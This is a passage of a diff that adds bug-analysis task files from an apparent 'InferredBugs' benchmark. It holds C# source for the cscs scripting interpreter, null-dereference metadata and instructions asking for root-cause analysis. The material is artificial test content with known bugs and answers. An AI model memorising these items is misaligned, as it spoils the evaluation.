+
+      if (arrayIndices.Count > 0) {// array element
+        left = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+      }
+
+      if (left.Type == Variable.VarType.NUMBER) {
+        NumberOperator(left, right, m_action);
+      } else {
+        StringOperator(left, right, m_action);
+      }
+
+      if (arrayIndices.Count > 0) {// array element
+        AssignFunction.ExtendArray(currentValue, arrayIndices, 0, left);
+        ParserFunction.AddGlobalOrLocalVariable (m_name,
+                                                 new GetVarFunction(currentValue));
+      } else {
+        ParserFunction.AddGlobalOrLocalVariable (m_name,
+                                                 new GetVarFunction(left));
+      }
+      return left;
+    }
+
+    static void NumberOperator(Variable valueA,
+                               Variable valueB, string action)
+    {
+      switch (action) {
+      case "+=":
+        valueA.Value += valueB.Value;
+        break;
+      case "-=":
+        valueA.Value -= valueB.Value;
+        break;
+      case "*=":
+        valueA.Value *= valueB.Value;
+        break;
+      case "/=":
+        valueA.Value /= valueB.Value;
+        break;
+      case "%=":
+        valueA.Value %= valueB.Value;
+        break;
+      case "&=":
+        valueA.Value = (int)valueA.Value & (int)valueB.Value;
+        break;
+      case "|=":
+        valueA.Value = (int)valueA.Value | (int)valueB.Value;
+        break;
+      case "^=":
+        valueA.Value = (int)valueA.Value ^ (int)valueB.Value;
+        break;
+      }
+    }
+    static void StringOperator(Variable valueA,
+      Variable valueB, string action)
+    {
+      switch (action)
+      {
+      case "+=":
+        if (valueB.Type == Variable.VarType.STRING) {
+          valueA.String += valueB.AsString();
+        } else {
+          valueA.String += valueB.Value;
+        }
+        break;
+      }
+    }
+
+    override public ParserFunction NewInstance()
+    {
+      return new OperatorAssignFunction();
+    }
+  }
+
+  class AssignFunction : ActionFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      string rest = script.Rest;
+      Variable varValue = Utils.GetItem(script);
+
+      // Check if the variable to be set has the form of x[a][b]...,
+      // meaning that this is an array element.
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref m_name);
+
+      if (arrayIndices.Count == 0) {
+        ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(varValue));
+        return varValue;
+      }
+
+      Variable array;
+ 
+      ParserFunction pf = ParserFunction.GetFunction(m_name);
+      if (pf != null) {
+        array = pf.GetValue(script);
+      } else {
+        array = new Variable();
+      }
+
+      ExtendArray(array, arrayIndices, 0, varValue);
+
+      ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(array));
+      return array;
+    }
+
+    override public ParserFunction NewInstance()
+    {
+      return new AssignFunction();
+    }
+
+    public static void ExtendArray(Variable parent,
+                     List<Variable> arrayIndices,
+                     int indexPtr,
+                     Variable varValue)
+    {
+      if (arrayIndices.Count <= indexPtr) {
+        return;
+      }
+      
+      Variable index = arrayIndices[indexPtr];
+      int currIndex = ExtendArrayHelper(parent, index);
+      
+      if (arrayIndices.Count - 1 == indexPtr) {
+        parent.Tuple[currIndex] = varValue;
+        return;
+      }
+
+      Variable son = parent.Tuple[currIndex];
+      ExtendArray(son, arrayIndices, indexPtr + 1, varValue);
+    }
+
+    private static int ExtendArrayHelper(Variable parent, Variable indexVar)
+    {
+      parent.SetAsArray();
+  
+      int arrayIndex = parent.GetArrayIndex(indexVar);
+      if (arrayIndex < 0) {
+        // This is not a "normal index" but a new string for the dictionary.
+        string hash = indexVar.AsString();
+        arrayIndex  = parent.SetHashVariable(hash, Variable.NewEmpty());
+        return arrayIndex;
+      }
+  
+      if (parent.Tuple.Count <= arrayIndex) {
+        for (int i = parent.Tuple.Count; i <= arrayIndex; i++) {
+          parent.Tuple.Add(Variable.NewEmpty());
+        }
+      }
+      return arrayIndex;
+    }
+  }
+
+  class TypeFunction : ParserFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      string varName = Utils.GetToken (script, Constants.END_ARG_ARRAY);
+      Utils.CheckNotEnd(script, m_name);
+
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref varName);
+
+      // 2. Get the current value of the variable.
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+      Variable element = currentValue;
+
+      // 2b. Special case for an array.
+      if (arrayIndices.Count > 0) {// array element
+        element = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+      }
+
+      // 3. Convert type to string.
+      string type = Constants.TypeToString(element.Type);
+      script.MoveForwardIf (Constants.END_ARG, Constants.SPACE);
+
+      Variable newValue = new Variable(type);
+      return newValue;
+    }
+  }
+
+  class SizeFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      string varName = Utils.GetToken(script, Constants.END_ARG_ARRAY);
+      Utils.CheckNotEnd(script, m_name);
+
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref varName);
+
+      // 2. Get the current value of the variable.
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+      Variable element = currentValue;
+
+      // 2b. Special case for an array.
+      if (arrayIndices.Count > 0) {// array element
+        element = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+      }
+
+      // 3. Take either the length of the underlying tuple or
+      // string part if it is defined,
+      // or the numerical part converted to a string otherwise.
+      int size = element.Type == Variable.VarType.ARRAY ?
+                        element.Tuple.Count :
+                        element.AsString().Length;
+
+      script.MoveForwardIf(Constants.END_ARG, Constants.SPACE);
+
+      Variable newValue = new Variable(size);
+      return newValue;
+    }
+  }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `all` last assigned on line 2619 could be null and is dereferenced at line 2626, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Variable TokenCounterFunction.Evaluate(ParsingScript)
+
+### File:
+cscs/Functions.Flow.cs
+
+### Key:
+Functions.Flow.cs|Evaluate|NULL_DEREFERENCE
+
+### Node Key:
+bef2fe14012af516d6c7bc5d1bd471c5
+
+### Hash:
+b0f56c2b42f5b0422f61218dea743349
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1884/instruction.md b/inferredbugs-1884/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0ca21df2cffff93038b07472aa2db177c0926871
--- /dev/null
+++ b/inferredbugs-1884/instruction.md
@@ -0,0 +1,1197 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** cscs
+**Bug ID:** 10
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+
+namespace SplitAndMerge
+{
+  class BreakStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return new Variable(Variable.VarType.BREAK);
+    }
+  }
+  class ContinueStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return new Variable(Variable.VarType.CONTINUE);
+    }
+  }
+
+  class ReturnStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      script.MoveForwardIf(Constants.SPACE);
+      if (!script.FromPrev(Constants.RETURN.Length).Contains(Constants.RETURN)) {
+        script.Backward ();
+      }
+      Variable result = Utils.GetItem (script);
+
+      // If we are in Return, we are done:
+      script.SetDone();
+      result.IsReturn = true;
+
+      return result;
+    }
+  }
+
+  class TryBlock : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return Interpreter.Instance.ProcessTry(script);
+    }
+  }
+
+  class ExitFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Environment.Exit(0);
+      return Variable.EmptyInstance;
+    }
+  }
+
+  class ThrowFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Extract what to throw.
+       Variable arg = Utils.GetItem(script);
+
+      // 2. Convert it to a string.
+      string result = arg.AsString();
+
+      // 3. Throw it!
+      throw new ArgumentException(result);
+    }
+  }
+
+  class ShowFunction : ParserFunction, IStringFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+
+      string funcName = args[0].AsString();
+
+      ParserFunction function = ParserFunction.GetFunction(funcName);
+      CustomFunction custFunc = function as CustomFunction;
+      Utils.CheckNotNull(funcName, custFunc);
+
+      string body = Utils.BeautifyScript(custFunc.Body, custFunc.Header);
+      Translation.PrintScript(body);
+
+      return new Variable(body);
+    }
+  }
+
+  class TranslateFunction : ParserFunction, IStringFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 2, m_name, true);
+
+      string language = args[0].AsString();
+      string funcName = args[1].AsString();
+
+      ParserFunction function = ParserFunction.GetFunction(funcName);
+      CustomFunction custFunc = function as CustomFunction;
+      Utils.CheckNotNull(funcName, custFunc);
+
+      string body = Utils.BeautifyScript(custFunc.Body, custFunc.Header);
+      string translated = Translation.TranslateScript(body, language);
+      Translation.PrintScript(translated);
+
+      return new Variable(translated);
+    }
+  }
+
+  class FunctionCreator : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      string funcName = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+      //Interpreter.Instance.AppendOutput("Registering function [" + funcName + "] ...");
+
+      string[] args = Utils.GetFunctionSignature(script);
+      if (args.Length == 1 && string.IsNullOrWhiteSpace(args[0])) {
+        args = new string[0];
+      }
+
+      script.MoveForwardIf(Constants.START_GROUP, Constants.SPACE);
+      int parentOffset = script.Pointer;
+
+      string body = Utils.GetBodyBetween(script, Constants.START_GROUP, Constants.END_GROUP);
+
+      CustomFunction customFunc = new CustomFunction(funcName, body, args);
+      customFunc.ParentScript = script;
+      customFunc.ParentOffset = parentOffset;
+
+      ParserFunction.RegisterFunction(funcName, customFunc, false /* not native */);
+
+      return new Variable(funcName);
+    }
+  }
+
+  class CustomFunction : ParserFunction
+  {
+    internal CustomFunction(string funcName,
+                            string body, string[] args)
+    {
+      m_name = funcName;
+      m_body = body;
+      m_args = args;
+    }
+
+    public void RegisterArguments(List<Variable> args)
+    {
+      StackLevel stackLevel = new StackLevel (m_name);
+      for (int i = 0; i < m_args.Length; i++) {
+        var arg = new GetVarFunction(args [i]);
+        arg.Name = m_args [i];
+        stackLevel.Variables[m_args[i]] = arg;
+      }
+
+      ParserFunction.AddLocalVariables(stackLevel);
+    }
+
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      script.MoveBackIf(Constants.START_GROUP);
+
+      if (args.Count != m_args.Length) {   
+        throw new ArgumentException("Function [" + m_name + "] arguments mismatch: " +
+                            m_args.Length + " declared, " + args.Count + " supplied");
+      }
+
+      // 1. Add passed arguments as local variables to the Parser.
+      RegisterArguments(args);
+
+      // 2. Execute the body of the function.
+      Variable result = null;
+      ParsingScript tempScript = new ParsingScript(m_body);
+      tempScript.ScriptOffset = m_parentOffset;
+      if (m_parentScript != null) {
+        tempScript.Char2Line      = m_parentScript.Char2Line;
+        tempScript.Filename       = m_parentScript.Filename;
+        tempScript.OriginalScript = m_parentScript.OriginalScript;
+      }
+      tempScript.ParentScript = script;
+
+      if (script != null && script.Debugger != null) {
+        result = script.Debugger.StepInIfNeeded(tempScript);
+      }
+
+      while (tempScript.Pointer < m_body.Length - 1 &&
+            (result == null || !result.IsReturn)) {
+        result = tempScript.ExecuteTo ();
+        tempScript.GoToNextStatement ();
+      }
+
+      ParserFunction.PopLocalVariables();
+
+      if (result == null) {
+        result = Variable.EmptyInstance;
+      } else {
+        result.IsReturn = false;
+      }
+
+      if (script != null && script.Debugger != null) {
+        script.Debugger.PostProcessCustomFunction(tempScript);
+      }
+
+      return result;
+    }
+
+    public ParsingScript ParentScript { set { m_parentScript = value; } }
+    public int           ParentOffset { set { m_parentOffset = value; } }
+    public string        Body         { get { return m_body; } }
+    public string        Header       { get {
+        return Constants.FUNCTION + " " + Name + " " +
+               Constants.START_ARG + string.Join (", ", m_args) +
+               Constants.END_ARG + " " + Constants.START_GROUP;
+         } }
+
+    protected string        m_body;
+    protected string[]      m_args;
+    protected ParsingScript m_parentScript = null;
+    protected int           m_parentOffset = 0;
+  }
+
+  class CompiledFunctionCreator : ParserFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      string funcReturn, funcName;
+      Utils.GetCompiledArgs(script, out funcReturn, out funcName);
+
+      Precompiler.RegisterReturnType(funcName, funcReturn);
+
+      Dictionary<string, Variable> argsMap;
+      string [] args = Utils.GetCompiledFunctionSignature (script, out argsMap);
+
+      script.MoveForwardIf (Constants.START_GROUP, Constants.SPACE);
+      int parentOffset = script.Pointer;
+
+      string body = Utils.GetBodyBetween (script, Constants.START_GROUP, Constants.END_GROUP);
+
+      Precompiler precompiler = new Precompiler(funcName, args, argsMap, body);
+      precompiler.Compile();
+
+      CustomCompiledFunction customFunc = new CustomCompiledFunction(funcName, body, args, precompiler, argsMap);
+      customFunc.ParentScript = script;
+      customFunc.ParentOffset = parentOffset;
+
+      ParserFunction.RegisterFunction (funcName, customFunc, false /* not native */);
+
+      return new Variable (funcName);
+    }
+  }
+  class CustomCompiledFunction : CustomFunction
+  {
+    internal CustomCompiledFunction(string funcName,
+                                    string body, string[] args,
+                                    Precompiler precompiler,
+                                    Dictionary<string, Variable> argsMap)
+      : base(funcName, body, args)
+    {
+      m_precompiler = precompiler;
+      m_argsMap = argsMap;
+    }
+
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      script.MoveBackIf (Constants.START_GROUP);
+
+      if (args.Count != m_args.Length) {
+        throw new ArgumentException ("Function [" + m_name + "] arguments mismatch: " +
+                            m_args.Length + " declared, " + args.Count + " supplied");
+      }
+
+      Variable result = Run(args);
+      return result;
+    }
+
+    public Variable Run(List<Variable> args)
+    {
+      RegisterArguments (args);
+
+      List<string> argsStr = new List<string> ();
+      List<double> argsNum = new List<double> ();
+      List<List<string>> argsArrStr = new List<List<string>> ();
+      List<List<double>> argsArrNum = new List<List<double>> ();
+      List<Dictionary<string, string>> argsMapStr = new List<Dictionary<string, string>> ();
+      List<Dictionary<string, double>> argsMapNum = new List<Dictionary<string, double>> ();
+
+      for (int i = 0; i < m_args.Length; i++) {
+        Variable typeVar = m_argsMap [m_args [i]];
+        if (typeVar.Type == Variable.VarType.STRING) {
+          argsStr.Add (args [i].AsString ());
+        } else if (typeVar.Type == Variable.VarType.NUMBER) {
+          argsNum.Add (args [i].AsDouble ());
+        } else if (typeVar.Type == Variable.VarType.ARRAY_STR) {
+          List<string> subArrayStr = new List<string> ();
+          var tuple = args [i].Tuple;
+          for (int j = 0; j < tuple.Count; j++) {
+            subArrayStr.Add (tuple [j].AsString ());
+          }
+          argsArrStr.Add (subArrayStr);
+        } else if (typeVar.Type == Variable.VarType.ARRAY_NUM) {
+          List<double> subArrayNum = new List<double> ();
+          var tuple = args [i].Tuple;
+          for (int j = 0; j < tuple.Count; j++) {
+            subArrayNum.Add (tuple [j].AsDouble ());
+          }
+          argsArrNum.Add (subArrayNum);
+        } else if (typeVar.Type == Variable.VarType.MAP_STR) {
+          Dictionary<string, string> subMapStr = new Dictionary<string, string> ();
+          var tuple = args [i].Tuple;
+          var keys = args [i].GetKeys ();
+          for (int j = 0; j < tuple.Count; j++) {
+            subMapStr.Add (keys[j], tuple[j].AsString());
+          }
+          argsMapStr.Add(subMapStr);
+        } else if (typeVar.Type == Variable.VarType.MAP_NUM) {
+          Dictionary<string, double> subMapNum = new Dictionary<string, double> ();
+          var tuple = args [i].Tuple;
+          var keys = args [i].GetKeys ();
+          for (int j = 0; j < tuple.Count; j++) {
+            subMapNum.Add (keys [j], tuple [j].AsDouble());
+          }
+          argsMapNum.Add(subMapNum);
+        }
+      }
+
+      Variable result = m_precompiler.Run(argsStr, argsNum, argsArrStr, argsArrNum, argsMapStr, argsMapNum, false);
+      ParserFunction.PopLocalVariables ();
+
+      return result;
+    }
+
+    Precompiler m_precompiler;
+    Dictionary<string, Variable> m_argsMap;
+  }
+
+  class StringOrNumberFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // First check if the passed expression is a string between quotes.
+      if (Item.Length > 1 &&
+          Item[0] == Constants.QUOTE &&
+          Item[Item.Length - 1] == Constants.QUOTE) {
+        return new Variable(Item.Substring(1, Item.Length - 2));
+      }
+
+      // Otherwise this should be a number.
+      double num = Utils.ConvertToDouble(Item, "StringOrNumber");
+      /*if (!Double.TryParse(Item, NumberStyles.Number |
+                           NumberStyles.AllowExponent |
+                           NumberStyles.Float,
+                           CultureInfo.InvariantCulture, out num)) {
+        Utils.ThrowException(script, "parseToken", Item, "parseTokenExtra");
+      }*/
+      return new Variable(num);
+    }
+
+    public string Item { private get; set; }
+  }
+
+  class AddFunction : ParserFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 2, m_name);
+
+      Variable currentValue = Utils.GetSafeVariable(args, 0);
+      Variable item = Utils.GetSafeVariable(args, 1);
+
+      currentValue.AddVariable(item);
+      if (!currentValue.ParsingToken.Contains(Constants.START_ARRAY.ToString())) {
+        ParserFunction.AddGlobalOrLocalVariable(currentValue.ParsingToken,
+                                                new GetVarFunction(currentValue));
+      }
+
+      return currentValue;
+    }
+  }
+  class RemoveFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 2, m_name, true);
+      string varName = args[0].AsString();
+
+      // 2. Get the current value of the variable.
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+      Utils.CheckArray(currentValue, varName);
+
+      // 3. Get the variable to remove.
+      Variable item = args[1];
+
+      bool removed = currentValue.Tuple.Remove(item);
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                              new GetVarFunction(currentValue));
+      return new Variable(removed);
+    }
+  }
+  class RemoveAtFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      string varName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+      Utils.CheckNotEnd(script, m_name);
+
+      // 2. Get the current value of the variable.
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+      Utils.CheckArray(currentValue, varName);
+
+      // 3. Get the variable to remove.
+      Variable item = Utils.GetItem(script);
+      Utils.CheckNonNegativeInt(item);
+
+      currentValue.Tuple.RemoveAt(item.AsInt());
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                              new GetVarFunction(currentValue));
+      return Variable.EmptyInstance;
+    }
+  }
+
+  class ContainsFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      string varName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+      Utils.CheckNotEnd(script, m_name);
+
+      // 2. Get the current value of the variable.
+      List<Variable> arrayIndices = Utils.GetArrayIndices(script, ref varName);
+
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+
+      // 2b. Special dealings with arrays:
+      Variable query = arrayIndices.Count > 0 ?
+                       Utils.ExtractArrayElement(currentValue, arrayIndices) :
+                       currentValue;
+
+      // 3. Get the value to be looked for.
+      Variable searchValue = Utils.GetItem(script);
+      Utils.CheckNotEnd(script, m_name);
+
+      // 4. Check if the value to search for exists.
+      bool exists = query.Exists(searchValue, true /* notEmpty */);
+
+      script.MoveBackIf(Constants.START_GROUP);
+      return new Variable(exists);
+    }
+  }
+
+  class BoolFunction : ParserFunction, INumericFunction
+  {
+    bool m_value;
+    public BoolFunction(bool init)
+    {
+      m_value = init;
+    }
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return new Variable(m_value);
+    }
+  }
+  class ToDoubleFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+      Variable arg = args[0];
+
+      double result = Utils.ConvertToDouble(arg.AsString());
+      return new Variable(result);
+    }
+  }
+  class ToIntFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+      Variable arg = args[0];
+
+      int result = Utils.ConvertToInt(arg.AsString());
+      return new Variable(result);
+    }
+  }
+  class ToBoolFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+      Variable arg = args[0];
+
+      double result = Utils.ConvertToBool(arg.AsString()) ? 1 : 0;
+      return new Variable(result);
+    }
+  }
+  class ToDecimalFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+      Variable arg = args[0];
+
+      string result = Decimal.Parse(arg.AsString(), NumberStyles.Any).ToString();
+      return new Variable(result);
+    }
+  }
+  class ToStringFunction : ParserFunction, IStringFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+      Variable arg = args[0];
+
+      string result = arg.AsString();
+      return new Variable(result);
+    }
+  }
+  class IdentityFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return script.ExecuteTo(Constants.END_ARG);
+    }
+  }
+
+  class IfStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Variable result = Interpreter.Instance.ProcessIf(script);
+      return result;
+    }
+  }
+
+  class ForStatement : ParserFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      return Interpreter.Instance.ProcessFor(script);
+    }
+  }
+
+  class WhileStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return Interpreter.Instance.ProcessWhile(script);
+    }
+  }
+
+  class IncludeFile : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 1, m_name, true);
+
+      string filename = args[0].AsString();
+      string[] lines = Utils.GetFileLines(filename);
+
+      string includeFile = string.Join(Environment.NewLine, lines);
+      Dictionary<int, int> char2Line;
+      string includeScript = Utils.ConvertToScript(includeFile, out char2Line);
+      ParsingScript tempScript = new ParsingScript(includeScript, 0, char2Line);
+      tempScript.Filename = filename;
+      tempScript.OriginalScript = string.Join(Constants.END_LINE.ToString(), lines);
+      tempScript.ParentScript = script;
+
+      Variable result = null;
+      if (script != null && script.Debugger != null) {
+        result = script.Debugger.StepInIfNeeded (tempScript);
+      }
+
+      while (tempScript.Pointer < includeScript.Length) {
+        result = tempScript.ExecuteTo();
+        tempScript.GoToNextStatement();
+      }
+      return result;
+    }
+  }
+
+  // Get a value of a variable or of an array element
+  public class GetVarFunction : ParserFunction
+  {
+    public GetVarFunction(Variable value)
+    {
+      m_value = value;
+    }
+
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // First check if this element is part of an array:
+      if (script.TryPrev() == Constants.START_ARRAY)
+      {
+        // There is an index given - it must be for an element of the tuple.
+        if (m_value.Tuple == null || m_value.Tuple.Count == 0) {
+          throw new ArgumentException("No tuple exists for the index");
+        }
+
+        if (m_arrayIndices == null) {
+          string startName = script.Substr(script.Pointer - 1);
+          m_arrayIndices = Utils.GetArrayIndices(script, ref startName, ref m_delta);
+        }
+
+        script.Forward(m_delta);
+        while (script.MoveForwardIf(Constants.END_ARRAY)) {
+        }
+
+        Variable result = Utils.ExtractArrayElement(m_value, m_arrayIndices);
+        return result;
+      }
+
+      // Otherwise just return the stored value.
+      return m_value;
+    }
+
+    public int Delta {
+      set { m_delta = value; }
+    }
+    public Variable Value {
+      get { return m_value; }
+    }
+    public List<Variable> Indices {
+      set { m_arrayIndices = value; }
+    }
+
+    private Variable m_value;
+    private int m_delta = 0;
+    private List<Variable> m_arrayIndices = null;
+  }
+  class IncrementDecrementFunction : ActionFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      bool prefix = string.IsNullOrWhiteSpace(m_name);
+      if (prefix) {// If it is a prefix we do not have the variable name yet.
+        m_name = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+      }
+
+      // Value to be added to the variable:
+      int valueDelta = m_action == Constants.INCREMENT ? 1 : -1;
+      int returnDelta = prefix ? valueDelta : 0;
+
+      // Check if the variable to be set has the form of x[a][b],
+      // meaning that this is an array element.
+      double newValue = 0;
+      List<Variable> arrayIndices = Utils.GetArrayIndices(script, ref m_name);
+
+      ParserFunction func = ParserFunction.GetFunction(m_name);
+      Utils.CheckNotNull(m_name, func);
+
+      Variable currentValue = func.GetValue(script);
+
+      if (arrayIndices.Count > 0 || script.TryCurrent () == Constants.START_ARRAY) {
+        if (prefix) {
+          string tmpName = m_name + script.Rest;
+          int delta = 0;
+          arrayIndices = Utils.GetArrayIndices(script, ref tmpName, ref delta);
+          script.Forward(Math.Max(0, delta - tmpName.Length));
+        }
+
+        Variable element = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+
+        newValue = element.Value + returnDelta;
+        element.Value += valueDelta;
+      } else { // A normal variable.
+        newValue = currentValue.Value + returnDelta;
+        currentValue.Value += valueDelta;
+      }
+
+      ParserFunction.AddGlobalOrLocalVariable(m_name,
+                                              new GetVarFunction(currentValue));
+      return new Variable(newValue);
+    }
+
+    override public ParserFunction NewInstance()
+    {
+      return new IncrementDecrementFunction();
+    }
+  }
+
+  class OperatorAssignFunction : ActionFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // Value to be added to the variable:
+      Variable right  = Utils.GetItem(script);
+
+      List<Variable> arrayIndices = Utils.GetArrayIndices(script, ref m_name);
+
+      ParserFunction func = ParserFunction.GetFunction(m_name);
+      Utils.CheckNotNull(m_name, func);
+
+      Variable currentValue = func.GetValue(script);
+      Variable left = currentValue;
+
+      if (arrayIndices.Count > 0) {// array element
+        left = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+      }
+
+      if (left.Type == Variable.VarType.NUMBER) {
+        NumberOperator(left, right, m_action);
+      } else {
+        StringOperator(left, right, m_action);
+      }
+
+      if (arrayIndices.Count > 0) {// array element
+        AssignFunction.ExtendArray(currentValue, arrayIndices, 0, left);
+        ParserFunction.AddGlobalOrLocalVariable (m_name,
+                                                 new GetVarFunction(currentValue));
+      } else {
+        ParserFunction.AddGlobalOrLocalVariable (m_name,
+                                                 new GetVarFunction(left));
+      }
+      return left;
+    }
+
+    static void NumberOperator(Variable valueA,
+                               Variable valueB, string action)
+    {
+      switch (action) {
+      case "+=":
+        valueA.Value += valueB.Value;
+        break;
+      case "-=":
+        valueA.Value -= valueB.Value;
+        break;
+      case "*=":
+        valueA.Value *= valueB.Value;
+        break;
+      case "/=":
+        valueA.Value /= valueB.Value;
+        break;
+      case "%=":
+        valueA.Value %= valueB.Value;
+        break;
+      case "&=":
+        valueA.Value = (int)valueA.Value & (int)valueB.Value;
+        break;
+      case "|=":
+        valueA.Value = (int)valueA.Value | (int)valueB.Value;
+        break;
+      case "^=":
+        valueA.Value = (int)valueA.Value ^ (int)valueB.Value;
+        break;
+      }
+    }
+    static void StringOperator(Variable valueA,
+      Variable valueB, string action)
+    {
+      switch (action)
+      {
+      case "+=":
+        if (valueB.Type == Variable.VarType.STRING) {
+          valueA.String += valueB.AsString();
+        } else {
+          valueA.String += valueB.Value;
+        }
+        break;
+      }
+    }
+
+        override public ParserFunction NewInstance()
+    {
+      return new OperatorAssignFunction();
+    }
+  }
+
+  class AssignFunction : ActionFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Variable varValue = Utils.GetItem(script);
+
+      // Check if the variable to be set has the form of x[a][b]...,
+      // meaning that this is an array element.
+      List<Variable> arrayIndices = Utils.GetArrayIndices(script, ref m_name);
+
+      if (arrayIndices.Count == 0) {
+        ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(varValue));
+        return varValue.DeepClone();
+      }
+
+      Variable array;
+
+      ParserFunction pf = ParserFunction.GetFunction(m_name);
+      if (pf != null) {
+        array = pf.GetValue(script);
+      } else {
